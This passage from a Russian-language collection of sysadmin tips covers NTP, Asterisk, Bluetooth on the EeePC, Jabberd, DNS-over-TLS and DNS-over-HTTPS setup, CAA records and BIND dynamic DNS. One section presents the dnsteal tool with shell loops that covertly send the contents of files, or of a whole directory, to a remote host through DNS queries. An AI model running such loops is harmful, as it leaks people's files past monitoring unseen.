    (например для работы утилиты ntpd), можно вообще закрыть доступ написав restrict default ignore 
    или разрешить только из локальной сети 
       restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap
    разрешит синхронизацию времени, но запретит настраивать сервер или быть
    равноправными участниками синхронизации времени.
    
    И собственное все, подводим часы
    
        # /etc/rc.d/ntpdate start
        Setting date via ntp.
        23 Jan 00:56:48 ntpdate[928]: step time server 193.125.143.140 offset 0.027002 sec
    
    и запускаем демон
    
        # /etc/rc.d/ntpd start
        Starting ntpd.
    
    Смотрим что ntpd запустился нормально
    
        # ps ax|grep ntpd
        1044 ?? Ss 0:00,04 /usr/sbin/ntpd -c /etc/ntp.conf -p /var/run/ntpd.pid -f /var/db/ntpd.drift
        # tail /var/log/messages
        Jan 23 00:57:09 lola ntpd[1043]: ntpd 4.2.4p5-a Mon Jan 5 16:59:33 IRKT 2009 (1)
        # ntpq -p
             remote           refid      st t when poll reach   delay   offset  jitter
        
         petrel.telecom. 192.36.143.150   2 u   60   64    1  119.017  5082.52   0.004
         hornet.itconnec 89.111.168.177   4 u   59   64    1  134.423  5086.05   0.004
         jane.telecom.mi 192.36.143.151   2 u   58   64    1  120.222  5086.08   0.004
    
     
    ----* Шаблоны в конфигурационных файлах Asterisk (sip.conf) (доп. ссылка 1)   Автор: Romik  [комментарии]
     
    Никогда не обращал внимание на такую особенность sip.conf, случайно заметил, что если делать
    
    ------ cut ------
    [100](!)
    context=100
    secret=cdm13m-0r9j345
    type=friend
    host=dynamic
    nat=yes
    disallow=all
    allow=ulaw
    
    [200](100)
    context=200
    secret=014nm015m9g-f,138n
    ------ cut ------
    
    , то 200 сможет зарегистрироваться, а 100 - нет, и в sip show peers его тоже не будет, 
    он может использоваться только как шаблон.
    
    Правильный вариант будет таким:
    
    ------ cut ------ 
    [simple-template](!)
    type=friend
    host=dynamic
    nat=yes
    disallow=all
    allow=ulaw
    
    [100](simple-template)
    context=100
    secret=cdm13m-0r9j345
    
    [200](simple-template)
    context=200
    secret=014nm015m9g-f,138n
    ------ cut ------
    
    То есть отдельно создается шаблон, и отдельно пиры/френды.
    
    // Шаблоны в Asterisk IP PBX используются не только в sip.conf, но и в других
    конфигурационных файлах.
    См. http://www.voip-info.org/wiki/view/Asterisk+config+template и далее по ссылкам.
    
     
    ----* Настройка bluetooth соединения в Asus EeePC   [комментарии]
     
    Не смотря на то, что в EeePС нет встроенного bluetooth адаптера, 
    к нему легко можно подключить внешний bluetooth брелок с USB интерфейсом.
    
    Все необходимые консольные приложения доступны после установки пакета:
    
       apt-get install bluez-utils
    
    К сожалению для eeepc отсутствуют GUI хелперы для связывания устройств, 
    из того что есть в репозиториях debian etch и xandros (например kdebluetooth), 
    из-за проблем с зависимостями пакетов, подходит только bluez-gnome.
    
    Если bluetooth устройство самостоятельно может инициировать связывание, 
    то все нормально, если нет - при попытке связать устройства используя только консольные 
    средства начинаются проблемы, в bluez 3.x был изменен механизм связывания устройств, 
    если ранее достаточно было создать простой скрипт для вывода PIN и прописать в options 
    секцию  hcid.conf -  "pin_helper /etc/bluetooth/feed-pin.sh;", то теперь для получения PIN 
    используется DBUS. В комплекте с bluez поставляется программа passkey-agent, 
    предназначенная для связывания устройств, в пакет bluez-utils в Debian GNU/Linux эта программа 
    по каким-то соображениям не была включена. Исходные тексты программы можно найти в 
    /usr/share/doc/bluez-utils/examples, но для сборки потребуется установка
    окружения для сборки программ,
    что в условиях небольшого SSD диска не вполне оправдано. Запускается агент примерно так: 
    
       passkey-agent --default 1234
    
    где, 1234 пароль для связывания.
    
    Выход нашелся в апплете bluetooth-applet, который входит в состав пакета bluez-gnome. 
    Запустив который при попытке связывания появляется  диалоговое окно для ввода пароля связывания.
    
    
    Для настройки GPRS через сотовый телефон с Bluetooth интерфейсом можно использовать пакет 3egprs 
    (устанавливает иконку на десктоп и скрипт /usr/sbin/gprsconf) с сайта http://www.3eportal.com/
    
    Другой вариант - инициирование ppp сессии из консоли. Ниже пример настройки:
    
    Подключаем bluetooth адаптер в USB порт. Через dmesg смотрим, нашелся ли дня него драйвер.
    
    Запускаем инициализацию bluez:
       /etc/init.d/bluetooth start
    
    Смотрим поднялся ли интерфейс:
       hciconfig 
    
    Если статус down, поднимаем его:
       hcicofig hci0 up
    
    Сканируем доступные устройства:
       hcitool scan
    
    Запоминаем адрес устройства. Для примера проверяем его доступность:
       l2ping 00:0A:0B:0C:0D:0E
    
    Адрес можно посмотреть командой:
       hcitool dev
    
    а определить поддерживаем ли bluetooth устройство GPRS:
       sdptool search DUN
    
    Создаем rfcomm интерфейс:
       rfcomm bind 0 [полученный адрес] 1
    
    По идее rfcomm должен создаться автоматически, при надлежащей настройке /etc/bluetooth/rfcomm.conf,
    например: 
    
       rfcomm0 { 
            bind yes;
            device 00:0A:0B:0C:0D:0E;
            channel 1;
            comment "Mobile";
       }
    
    Далее создаем файл конфигурации для pppd, /etc/ppp/peers/mts:
    
       lcp-echo-failure 0
       lcp-echo-interval 0
       /dev/rfcomm0
       connect "/usr/sbin/chat -v -f /etc/ppp/peers/gprs"
       115200
       crtscts
       debug
       ipcp-accept-local
       noauth
       usepeerdns
       defaultroute
       noipdefault
       nodetach
    
    /etc/ppp/peers/gprs:
    
       ABORT  BUSY  ABORT  'NO CARRIER' ABORT VOICE ABORT 'NO DIALTONE' ABORT
       'NO DIAL TONE' ABORT 'NO ANSWER' ABORT DELAYED
       '' 'AT'
       'OK' 'AT+CGDCONT=1,"IP","internet.mts.ru"'
       'OK' 'ATDT*99***1#'
       TIMEOUT 30
       CONNECT
    
    Для beeline заменяем "internet.mts.ru" на "internet.beeline.ru", для мегафона
    пишем просто "internet".
    
    Подключаемся выполнив команду:
       pppd call mts
    
    Перевод wiki-страницы о настройке Bluetooth в Asus EeePC, выполненный
    Сгибневым Михаилом, 
    можно найти на странице: http://www.opennet.dev/base/modem/bluetooth_eeepc.txt.html
    
     
    ----* Установка и настройка JUD для Jabberd2 под FreeBSD 6.1 (доп. ссылка 1)   Автор: protonix  [обсудить]
     
    0. Создание пользователя jabber из группы jabber
    
       #adduser
    
    1. Установка Jabber думую не вызывает проблем - в портах /usr/ports/net-im/jabberd 
    
       #make install clean
    
    2. Настройка
    
    Можно ниче не менять и оставить все поумолчанию,но желательно изменить в файлах 
       /usr/local/etc/jabberd/sm.xml 
       /usr/local/etc/jabberd/c2s.xml
    
    Если сервер будет не только для локальной сети, а со связью с глобальными, то также меняем в
       /usr/local/etc/jabberd/s2s.xml
       /usr/local/etc/jabberd/resolver.xml
    
    Если нет то можно закоментить в jabber.cfg эти части
    меняем имя сервера, и пароль (хотя можно и не менять)
    id имя сервера - это то что после @ =) может быть любое (по умолчанию localhost)
    user имя для router.xml (jabberd)
    pass пароль тоже для router.xml (secret)
    
    Еще проблемы были с паролем в файле router-users.xml - если везде поменяли, то и здесь не забудьте
    
    3. Настройка БД
    
    по умолчанию используется MySQL, ниче менять не будем.
    заходим под рутом в MySQL и запускаем скрипт (должны находиться в папке со
    скриптом /usr/local/share/jabberd)
    
       mysql -u root -p
       mysql>\. db-setup.mysql
    
    добавляем пользователя (jabberd2) БД и пароль (secret) к нему
    
       GRANT select,insert,delete,update ON jabberd2.* to jabberd2@localhost IDENTIFIED by 'secret';
    
    если изменили, не забудьте изменить и в sm.xml
    
    на всякий случай делаем ссылку
       ln -s /var/lib/mysql/mysql.sock /tmp/mysql.sock 
    
    
    Попробуйте запустить - заходим под jabber и набираем
       >jabberd
    
    В /var/logs/messages смотрим результат - должно быть реди 
    если не запустился,то гдето косяк,запускаем в отладочном режиме
       >jabberd -D
    
    смотрим на чем сервер умирает и исправляем
    
    4. Установка users-agent
    
       /usr/ports/net-im/jabber-users-agent 
       #make install clean
    
    5. Настройка users-agent
    
    в /usr/local/etc/ опять изменяем конфиг имя,пароль,имя БД(jud),пароль БД(jud)
    
    6. Настройка БД
    
    можно наверно запустить скрипт,но говорят он не работает,поэтому пишем сами
    
       CREATE DATABASE JUD;
       GRANT ALL PRIVILEGES ON JUD.* to jud@localhost IDENTIFIED BY 'jud';
       CREATE TABLE JUD.jud (jid VARCHAR(100) PRIMARY KEY, name VARCHAR(100),
                           first VARCHAR(50), last VARCHAR(50),nick VARCHAR(50),
                           email VARCHAR(50), INDEX ind_name (name), INDEX ind_first (first),
                           INDEX ind_last (last), INDEX ind_nick (nick),
                           INDEX ind_email (email));
    
    7. Все запускаем из под пользователя jabber - сначала сам джаббер-сервер
    
       >jabberd 
    
    можно в фоновом режиме с параметром -B
    Потом users-agent
    
    в папке /usr/local/lib/jabber/users-agent
    
       >./users-agent
    
    Все проверяйте в PSI - создавать аккаунты и пытаться найти себя=)
    
    Какие были у меня проблемы:
    
    Читал всякие вики и ртфм и запутался=) :
    
    а)Проблемы с правами доступа, так как запускать можно только от 
    пользователя Jabber,не забудьте для конфигов поставить права доступа
    
    б)Исправление файла router-users.xml - нигде вроде не встречал, поэтому и не исправлял
    
    в)Устанавливать надо jabber-users-agent, а не jabber-JUD =)
    
    г)Перловский скрипт запускается с ./ =)
    
    д)Если был до другой джаббер сервер все сносите деинсталом и подчищайте вручную
    
    Вообщето все лежит на 
    http://jabberd.jabberstudio.org/2/docs/jabberd_guide.html 
    
    но там много и на английском.И еще помогло 
    http://ru.gentoo-wiki.comНастройка_JUD_на_сервере_Jabberd_версии_2.x
    
     
    ----* Как в программе, запущенной через inetd, узнать IP адрес клиента.   [комментарии]
     
    В /etc/hosts.allow (man hosts_access;man hosts_options):
    # IP в REMOTE_ADDR
      popa3d: ALL : setenv REMOTE_ADDR %a : allow
    # имя хоста в REMOTE_ADDR
      popa3d: ALL : setenv REMOTE_ADDR %h : allow
    В программе IP адрес получаем через getenv("REMOTE_ADDR").
    
     

       DNS

    ----* Организация шифрованного доступа к DNS-серверу BIND (DNS-over-TLS) при помощи nginx  (доп. ссылка 1)   [комментарии]
     
    Для предоставления клиентам возможности доступа к DNS-серверу на основе BIND с
    использованием протокола DNS-over-TLS можно настроить TLS-прокси с
    использованием nginx.
    
    Для добавления TLS-слоя поверх DNS можно использовать модуль stream для
    nginx, который прозволяет организовать проброс произвольных TCP- и UDP-соединений.
    
    
    Пример nginx.conf:
    
       user www-data;
       worker_processes auto;
       pid /run/nginx.pid;
    
       events {
          worker_connections 1024;
       }
    
       stream {
          upstream dns_tcp_servers {
             # IP и порт DNS-сервера, на который будет делать проброс
             server 127.0.0.1:53; 
          }
    
          # Прикрепляем к 853 порту слой TLS, пробрасываемый на локальный DNS-сервер
          server {
             listen 853 ssl;
             proxy_pass dns_tcp_servers;
    
             ssl_certificate       /etc/nginx/ssl/certificates/privacydns.crt;
             ssl_certificate_key   /etc/nginx/ssl/certificates/privacydns.key;
             ssl_protocols         TLSv1.2;
             ssl_ciphers           ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384;
             ssl_session_tickets on;
             ssl_session_timeout   4h;
             ssl_handshake_timeout 30s;
          }
       }
    
    Сертификат можно получить через Let's Encrypt.
    
       certbot certonly -d privacydns.example.com --standalone
    
    На стороне клиента в качестве резолвера можно использовать Unbound, Knot или
    stubby.
    
     
    ----* Защита от подмены серверных TLS-сертификатов в результате MITM-атаки провайдером (доп. ссылка 1) (доп. ссылка 2)   [комментарии]
     
    Для предотвращения получения TLS-сертификатов третьими лицами, которые в ходе
    MITM-атаки могут контролировать трафик сервера, рекомендовано использовать
    DNS-запись CAA, через которую можно указать какой именно удостоверяющий центр и
    какая именно учётная запись в этом удостоверяющем центре авторизированы на
    выдачу сертификата для домена.
    
    CAA поддерживается в Let's Encrypt и не позволяет запросить сертификат,
    используя другой ACME-ключ. Для включения привязки в DNS-зону следует добавить:
    
    для привязки домена example.com к удостоверяющему центру letsencrypt.org:
    
       example.com. IN CAA 0 issue "letsencrypt.org"
    
    для дополнительно привязки к учётной записи acme-v02.api.letsencrypt.org/acme/acct/1234567890
    
       example.com. IN CAA 0 issue "letsencrypt.org; accounturi=https://acme-v02.api.letsencrypt.org/acme/acct/1234567890"
    
    DNS-сервер должен быть размещён на отдельном сервере, не подверженном
    MITM-атаке. Для дополнительной защиты от подмены DNS необходимо использовать
    протокол DNSSEC, который помешает атакующим подменить  DNS-ответы с записью CAA.
    
    Дополнительно рекомендовано через Tor или внешние хосты наладить автоматический
    мониторинг  отсутствия подмены сертификатов, и подключиться к сервисам
    мониторинга CT-логов (Certificate Transparency, отражают выданные
    удостоверяющими центрами сертификаты) или вручную отслеживать появление
    незапрошенных сертификатов в CT-логах (https://crt.sh/). Также  рекомендовано
    выбирать размещённых в разных странах операторов хостинга, регистрации домена,
    DNS и удостоверяющих центров.
    
     
    ----* Включение DNS over TLS в Fedora (доп. ссылка 1)   [комментарии]
     
    Включаем  DNSOverTLS в настройках systemd-resolved.
    /etc/systemd/resolved.conf
    
       [Resolve]
       DNS=1.1.1.1 9.9.9.9
       DNSOverTLS=yes
       DNSSEC=yes
       FallbackDNS=8.8.8.8 1.0.0.1 8.8.4.4
    
    Переводим NetworkManager на использование systemd-resolved, которому будут
    передаваться параметры DNS, полученные через DHCP для переопределения настроек /etc/systemd/resolved.conf.
    Создаём файл /etc/NetworkManager/conf.d/10-dns-systemd-resolved.conf и записываем в него
    
       [main]
       dns=systemd-resolved
    
    Если необходимо всегда использовать список DNS-серверов, заданных в
    /etc/systemd/resolved.conf, вместо  dns=systemd-resolved нужно указать "dns=none".
    
    Запускаем необходимые сервисы:
    
       sudo systemctl start systemd-resolved
       sudo systemctl enable systemd-resolved
       sudo systemctl restart NetworkManager
    
    По умолчанию systemd-resolved отключён, но его планируют активировать в Fedora 33.
    
    Проверяем, что всё работает нормально. 
    
    В /etc/resolv.conf должен быть указан 127.0.0.53
    
       $ resolvectl status
    
       MulticastDNS setting: yes                 
         DNSOverTLS setting: yes                 
             DNSSEC setting: yes                 
           DNSSEC supported: yes                 
         Current DNS Server: 1.1.1.1             
                DNS Servers: 1.1.1.1             
                             9.9.9.9             
       Fallback DNS Servers: 8.8.8.8             
                             1.0.0.1             
                             8.8.4.4
    
       $ sudo ss -lntp | grep '\(State\|:53 \)'
    
       State     Recv-Q    Send-Q       Local Address:Port        Peer   Address:Port    Process                                                                         
       LISTEN    0         4096         127.0.0.53%lo:53               0.0.0.0:*        users:(("systemd-resolve",pid=10410,fd=18))
    
    
       $ resolvectl query example.com
       fedoraproject.org: 93.184.216.34                 -- link: wlp58s0
     
    
     
    ----* Включение DNS-over-HTTPS в Chrome (доп. ссылка 1)   [комментарии]
     
    В феврале в кодовую базу Chromium без лишней огласки была добавлена
    недокументированная возможность использования DNS-over-HTTPS (DoH).  Если в
    обычной ситуации DNS-запросы напрямую отправляются на определённые в
    конфигурации системы DNS-серверы, то в случае DoH запрос на определение
    IP-адреса хоста инкапсулируется в трафик HTTPS и отправляется на HTTP-сервер,
    на котором резолвер обрабатывает запросы через Web API. Существующий стандарт
    DNSSEC использует шифрование лишь для аутентификации клиента и сервера, но не
    защищает трафик от перехвата и не гарантирует конфиденциальность запросов.
    
    Для использования DoH-сервера компании  Cloudflare следует запустить Chrome с опциями:
    
    
       chrome --enable-features="dns-over-https<DoHTrial" \
        --force-fieldtrials="DoHTrial/Group1" \
        --force-fieldtrial-params="DoHTrial.Group1:server/https%3A%2F%2Fcloudflare-dns%2Ecom%2Fdns-query/method/POST
    
    
    
    В Firefox начиная с конца сентября поддержка DNS-over-HTTPS будет поступательно
    включаться по умолчанию. Для включения DoH не дожидаясь активации по
    умолчанию, в about:config следует изменить значение переменной network.trr.mode:
    
    * 0 полностью отключает DoH; 
    * 1 - используется DNS или DoH, в зависимости от того, что быстрее; 
    * 2 - используется DoH по умолчанию, а DNS как запасной вариант; 
    * 3 - используется только DoH; 
    * 4 - режим зеркалирования при котором DoH и DNS задействованы параллельно. 
    
    По умолчанию используется DNS-сервер CloudFlare, но его можно изменить через
    параметр network.trr.uri, например, можно установить
     "https://dns.google.com/dns-query" ("https://9.9.9.9/dns-query") 
     "https://dns.quad9.net/dns-query"  
     "https://doh.opendns.com/dns-query" 
     "https://cloudflare-dns.com/dns-query" ("https://1.1.1.1/dns-query")
     "https://doh.cleanbrowsing.org/doh/family-filter/"
      "https://doh.dns.sb/dns-query"
    
     
    ----* Список общедоступных DNS-резолверов   [комментарии]
     
  • 8.8.8.8, 8.8.4.4 - Google (поддерживается DNS over TLS)
  • 1.1.1.1, 1.0.0.1 - CloudFlare (поддерживается DNS over TLS)
  • 9.9.9.9, 149.112.112.112 - Quad9 (блокируются вредоносные хосты и поддерживается DNS over TLS)
  • 77.88.8.7, 77.88.8.3 - Yandex (блокируются вредоносные хосты)
  • 208.67.222.222, 208.67.220.220 - OpenDNS/Cisco (блокируются вредоносные хосты и сайты для взрослых, поддерживается DNSCrypt и DNS over TLS))
  • 8.26.56.26, 8.20.247.20 - Comodo (блокируются вредоносные хосты, поддерживается DNSCrypt и DNS over TLS)
  • 185.228.168.168, 185.228.169.168 - CleanBrowsing.org (блокируется хосты с сайтами для взрослых, поддерживается DNSCrypt)
  • 84.200.69.80, 84.200.70.40 - DNS Watch (не ведутся логи)
  • 37.235.1.174, 37.235.1.177 - FreeDNS (не ведутся логи)
  • 45.77.165.194, 45.32.36.36 - Fourth Estate (не ведутся логи)
  • 91.239.100.100, 89.233.43.71 - UncensoredDNS (первый anycast, второй размещён в Дании)
  • 64.6.64.6, 64.6.65.6 - Verisign
  • 4.2.2.[1-6] - Level 3 Communications (4.2.2.1 - 4.2.2.6)
  •  
    ----* Включение ESNI и DNS over HTTPS в Firefox (доп. ссылка 1)   [комментарии]
     
    Включения network.security.esni.enabled=true в about:config недостаточно для
    активации в Firefox  TLS-расширения ESNI (Encrypted Server Name Indication),
    обеспечивающего шифрование данных о хосте, запрашиваемом в рамках HTTPS-соединения.
    
    На данным момент ESNI не работает без использования встроенного в Firefox
    резолвера "DNS over HTTPS" (network.trr.mode = 2). Использовать ESNI
    пока можно только при активации "DNS over HTTPS".
    
    
    Для включения "DNS over HTTPS" в about:config следует изменить значение
    переменной network.trr.mode. Значение 0 полностью отключает DoH;
    1 - используется DNS или DoH, в зависимости от того, что быстрее; 
    2 - используется DoH по умолчанию, а DNS как запасной вариант; 
    3 - используется только DoH; 
    4 - режим зеркалирования при котором DoH и DNS задействованы параллельно. 
    
    По умолчанию используется DNS-сервер CloudFlare, но его можно изменить через
    параметр network.trr.uri, например, можно установить:
    
    * https://dns.google.com/experimental 
    * https://cloudflare-dns.com/dns-query 
    * https://dns.quad9.net/dns-query (он же https://9.9.9.9/dns-query)
    * https://doh.powerdns.org
    * https://doh.cleanbrowsing.org/doh/family-filter/ (с родительским контролем)
    * https://doh2.dnswarden.com (с родительским контролем)
    * https://dns.dnsoverhttps.net/dns-query (проброс запросов через tor)
    * https://doh.securedns.eu/dns-query (заявлено об отсутствии ведения логов)
    * https://doh.crypto.sx/dns-query (на базе doh-proxy)
    * https://doh-de.blahdns.com/dns-query (используется реализация на Go)
    * https://dns.dns-over-https.com/dns-query (используется реализация на Go)
    * https://commons.host (реализация на Node.js)
    
     
    ----* Скрытая отправка файлов через DNS   [комментарии]
     
    В рамках проекта https://github.com/m57/dnsteal развивается фиктивный
    DNS-сервер, позволяющий организовать скрытую отправку файлов по протоколу DNS,
    используя штатные системные утилиты резолвинга. Для уменьшения трафика
    поддерживается сжатие передаваемого содержимого.
    
    
    Запускаем сервер ("-z" - включает сжатие):
    
       python dnsteal.py 192.168.1.1 -z
    
    
    Для отправки файла send.txt на внешний хост 192.168.1.1, на котором запущен
    dnsteal, достаточно выполнить:
    
       for b in $(gzip -c send.txt | xxd -p); do dig @192.168.1.1 $b.filename.com; done
    
    Для отправки всех файлов из текущей директории
    
       for filename in $(ls); do for b in $(gzip -c $filename | xxd -p); do dig +short @192.168.1.1 %b.$filename.com; done; done
    
     
    ----* Настройка CustomDNS (DynDNS) на маршрутизаторе Cisco   Автор: serg-dn  [комментарии]
     
    Шаблон настроек Cisco IOS для обновления хоста MyHost своего домена
    My-DNS-Domain.com в DynDNS. Конфигурация для ADSL. Проверено на Cisco IOS
    Software, C870 Software (C870-ADVIPSERVICESK9-M), Version 12.4(24)T4. Для
    обновления раз в час необходима подписка на услугу DynDNS Pro, для корректной
    регистрации должна быть активирована услуга Custom DNS.
    
    Пример конфигурационного файла:
    
       !
       hostname MyHost
       !
       ip domain lookup source-interface Dialer1
       ip domain name My-DNS-Domain.com
       ip host ns1.mydyndns.org 204.13.248.76
       ip host ns3.mydyndns.org 208.78.69.76
       ip host ns4.mydyndns.org 91.198.22.76
       ip host ns5.mydyndns.org 203.62.195.76
       ip host ns2.mydyndns.org 204.13.249.76
       ip name-server 1.1.1.1
       ip name-server 1.1.1.2
       !
       ip ddns update method mydns
        HTTP
         add http://XXX:XXX@members.dyndns.org/nic/update?system=custom&   hostname=MyHost.My-DNS-Domain.com
      remove http://XXX:XXX@members.dyndns.org/nic/update?system=custom&hostname=MyHost.My-DNS-Domain.com
        interval maximum 0 0 1 30
       !
       !
       access-list 1500 permit any
       !
       interface Dialer1
        ip ddns update hostname MyHost.My-DNS-Domain.com
        ip ddns update mydns host members.dyndns.org
        ip access-group 1500 out
       !
    
     
    ----* Организация работы Opera и других приложений через Socks (доп. ссылка 1)   [комментарии]
     
    Если на локальной машине кроме socks имеется выход в интернет или доступ к
    DNS-резолверу, проблем не возникает, но если выход машины производится только
    через socks при запуске программ подобных браузеру opera всплывает неприятная
    проблема с резолвингом имен. Проблема в том, что утилиты подобные tsocks не
    позволяют перенаправлять DNS запросы через Socks и организовать работу
    резолвера поверх этого протокола.
    
    Выход найден в использовании privoxy (http://www.privoxy.org/), некеширующего
    HTTP-прокси, умеющего организовывать проброс трафика через Socks и самое важное
    - умеющего резолвить DNS-имена на socks-сервере.
    
    Ставим privoxy:
    
       sudo apt-get install privoxy
    
    Предположим на локальной машине имеется доступ к socks-серверу 127.0.0.1:1080
    В моем случае socks использовался для организации выхода в Интернет через
    телефон на платформе Android, делается это так:
    На телефоне включаем в настройках режим "USB Debugging" (Settings /
    Applications / Development) и запускаем программу Tetherbot (http://graha.ms/androidproxy/Tetherbot.apk).
    На локальный компьютер копируем программу adb из состава Android SDK и выполняем:
    
       ./adb forward tcp:1080 tcp:1080 
    
    теперь в Firefox можно прописать socks-сервер 127.0.0.1:1080 и  поставить в
    about:config network.proxy.socks_remote_dns=true, все будет прекрасно работать.
    Но нам нужно заставить работать opera и другие программы, поэтому настраиваем privoxy.
    
    В /etc/privoxy/config проверяем наличие директивы (по умолчанию выбран порт 8118)
    
       listen-address  127.0.0.1:8080
    
    и добавляем строку:
    
       forward-socks4a   /  127.0.0.1:1080  .
    
    или 
    
      forward-socks5   /  127.0.0.1:1080  .
    
    (внимание, режим forward-socks4 проброс DNS не поддерживает)
    
    Запускаем privoxy:
    
       sudo /etc/init.d/privoxy start
    
    
    Далее в opera устанавливаем в настройках обычного HTTP-прокси хост 127.0.0.1 и
    порт 8080. Все прекрасно работает, более того в качестве бонуса privoxy по
    умолчанию вырезает рекламу.
    
    Для консольных приложений удобно использовать пакет proxychains
    (http://proxychains.sourceforge.net/) в состав которого входит  утилита
    proxyresolv для резолвинга имен через socks.
    
     
    ----* Настройка Dynamic DNS на базе Bind9 и nsupdate (доп. ссылка 1)   Автор: Stepanoff  [комментарии]
     
    В данном руководстве описано как настроить динамическое обновление зоны DNS с
    удаленной машины, например с DHCP сервера, или если адрес выдается динамически,
    как при использовании ADSL. Описано как простое обновление зоны вручную, или по
    крону, так и обновление зоны DHCP сервером при выдаче ip-адреса клиенту.
    Настройка идентична для всех дистрибутивов и ОС (Linux, FreeBSD, Mac OS и
    прочих систем где есть Bind9).
    
    Итак, у нас есть две машины, dns-сервер, и клиент, который будет обновлять зону
    в соответствии со своим ip-адресом.
    
    На обоих машинах должен быть установлен bind9.
    
    Настройку можно начать с генерации ключей, по которым будет происходить
    авторизация клиента на dns-сервере, в примере ниже показано как сгенерировать
    ключ, в примере я использую имя dnsupdater, вы можете поменять на нужное вам.
    Генерировать ключи нужно на машине клиенте.
    
        dnssec-keygen -a hmac-md5 -b 128 -n USER dnsupdater
    
    После выполнения команды в текущей директории вы найдете 2 файла с именем
    Kdnsupdater.+157+31204.key и Kdnsupdater.+157+31204.private, последние пять
    цифр в имени меняются каждый раз при генерации, и у вас они будут другие. Файл
    с расширением .key является публичным ключем, он используется на сервере dns,
    файл с расширением .private нужен для авторизации клиента.
    
    Перейдем к настройке сервера, в директории с конфигурационными файлами bind9
    (обычно это либо /etc/bind, /etc/namedb, /var/named)
    
    Я настраивал сервер на линуксе, там это была директория /etc/bind, я буду
    использовать ее в этом руководстве.
    
    Создайте файл dnskeys.conf в директории /etc/bind, затем впишите туда данные о
    нашем ключе, сгенерированном на машине клиента
    
        # cat Kdnsupdater.+157+31204.key
    
        dnsupdater. IN KEY 0 3 157 YmEIxrGd1w1dT6Kyo9CQtQ==
    
    Так выглядит наш ключ, нам нужна только часть после цифры 157, а именно
    YmEIxrGd1w1dT6Kyo9CQtQ== (она каждый раз новая, у вас будет другая)
    
    В файл /etc/bind/dnskeys.conf впишите следующее (замените имя ключа и secret на ваши)
    
        key  dnsupdater {       
           algorithm hmac-md5;
           secret "YmEIxrGd1w1dT6Kyo9CQtQ==";
        };
    
    Затем в файл /etc/bind/named.conf впишите в самый конец файла
    
        include "/etc/bind/dnskeys.conf";
    
    Затем настроим зоны которые будут обновляться удаленно, в моем примере это зона
    для домена example.com и зона для обратных записей для адресов 192.168.0.0/24,
    ниже приведены примеры сразу для двух этих зон, обратите внимание на то, что
    файлы зон для обновления должны быть созданы заранее, в них должны быть
    прописаны SOA , NS, SERIAL и прочие стандартные настройки зоны.
    
        zone "example.com" {
          type master;
          file "master/example.com"
          allow-update { key dnsupdater; };
        };
    
        zone "0.168.192.in-addr.arpa" {
          type master;
          file "master/ptr/0.168.192.in-addr.arpa";
          allow-update { key dnsupdater; };
        };
    
    После этого выполните команду rndc reload для применения настроек.
    
    Небольшое отступление, если у вас установлена операционная система Ubuntu или
    Debian, или у вас в системе используется apparmor то вам необходимо
    перенастроить его, так как пользователь от которого работает DNS сервер bind9
    не имеет права записи в каталог с файлами конфигурации /etc/bind, а удаленное
    обновление зон как раз требует возможности записи в этот каталог от
    пользователя bind. Исправить это можно отредактировав конфигурационный файл
    apparmor для ограничения bind, найти его можно в директории /etc/apparmor.d/,
    имя файла usr.sbin.named. Отредактируйте файл как показано в примере ниже
    
    
    Значение по умолчанию:
    
        /etc/bind/** r,
    
    Должно быть:
    
        /etc/bind/** rw,
    
    После этого перезапустите apparmor и bind9.
    
    Теперь сервер готов к удаленному обновлению зон, перейдем к конечной настройке клиента.
    
    Создадим простой скрипт который будет парсить файл с командами для обновления
    зон, в нем нам понадобится путь до второго ключа, с расширением .private, вы
    можете положить его в директорию /etc/bind, и не забудьте сменить имя ключа в
    скрипте на ваше.
    
    
        #!/bin/bash
        /usr/bin/nsupdate -k /etc/bind/Kdnsupdater.+157+31204.private -v $1
    
    Сохраним данный скрипт с именем zonechange.sh и сделаем его исполняемым
    командой chmod +x zoneupdate.sh
    
    Затем создадим файл обновления зон, обновлять можно сразу несколько зон, по
    очереди. В примере мы добавим обратную зону для адреса 192.168.0.1, удалим
    обратную зону для адреса 192.168.0.15, и добавим поддомен test.example.com. Для
    обновления существующих записей нужно сначала удалить старую, затем добавить новую.
    
    
        server ns.example.com
        zone 0.168.192.in-addr.arpa
        update delete 15.0.168.192.in-addr.arpa. 10800 IN PTR somedomain.example.com.
        update add 1.0.168.192.in-addr.arpa. 10800 IN PTR somedomain123.example.com.
        send
        zone example.com
        update add test.example.com. 10800 IN A 192.168.0.254
        send
    
    Как видите, необходимо записи для обратной зоны и поддоменов указывать
    полностью, и перед сменой зоны отправлять обновление для предыдущей. Так же
    необходимо указывать TTL для каждой записи. Сохраните файл с именем changes,
    или любым вам удобным, в директории со скриптом zonechange.sh.
    
    Проверим работоспособность скрипта, выполните нижеприведенную команду для
    отправки запроса на обновление наших зон на сервер
    
        ./zonechanhe.sh changes
    
    Если все прошло успешно никакого вывода не последует, на сервере в логах можно
    будет увидеть подробности изменения зон. У меня на сервере записи в файлах
    внесенные удаленно появляются только после рестарта bind9, но работать начинают
    сразу после отправки обновления с клиента, так что проверяйте работу обновления
    не по наличию записи в файлах зон, а по запросу данной записи с сервера
    посредством nslookup или dig.
    
    Теперь можно перейти к настройке обновления записей зон при помощи dhcp
    сервера. Настройки DNS мы менять не будем, они описаны выше, поэтому мы будем
    пользоваться ими. Ключи так же возьмем из примеров выше. Настройка описана для
    DHCP сервера isc dhcp3
    
    В глобальные опции DHCP сервера внесите следующие правки (файл конфигурации dhcpd.conf)
    
        ddns-update-style interim;
        # Включение обновления dns записей для статично прописанных хостов
        update-static-leases on;
    
    Затем добавим информацию о зонах которые будем обновлять, и информацию о ключе для авторизации.
    
    Обратите внимание, записи о зонах и ключе вносятся так же как в конфиге bind,
    но БЕЗ кавычек, в противном случае у вас будет ошибка синтаксиса.
    
        key dnsupdater {
          algorithm hmac-md5
          secret YmEIxrGd1w1dT6Kyo9CQtQ==;
        }
    
        zone 0.168.192.in-addr.arpa {
          primary ns.example.com;
          key dnsupdater;
        }
    
        zone example.com {
          primary dns;
          key dnsupdater;
        }
    
    Далее пример конфига для клиента без фиксированного ip адреса
    
        host happylaptop {
          hardware ethernet 00:0a:39:22:da:39;
          option host-name "happylaptop";
          option domain-name "example.com";
          ddns-hostname "happylaptop";
          ddns-domain-name "example.com";
        }
    
    Затем идет пример для группы хостов, или секции group в dhcpd.conf
    
        group {
          option domain-name "example.com";
          ddns-domainname "example.com";
    
          host happylaptop {
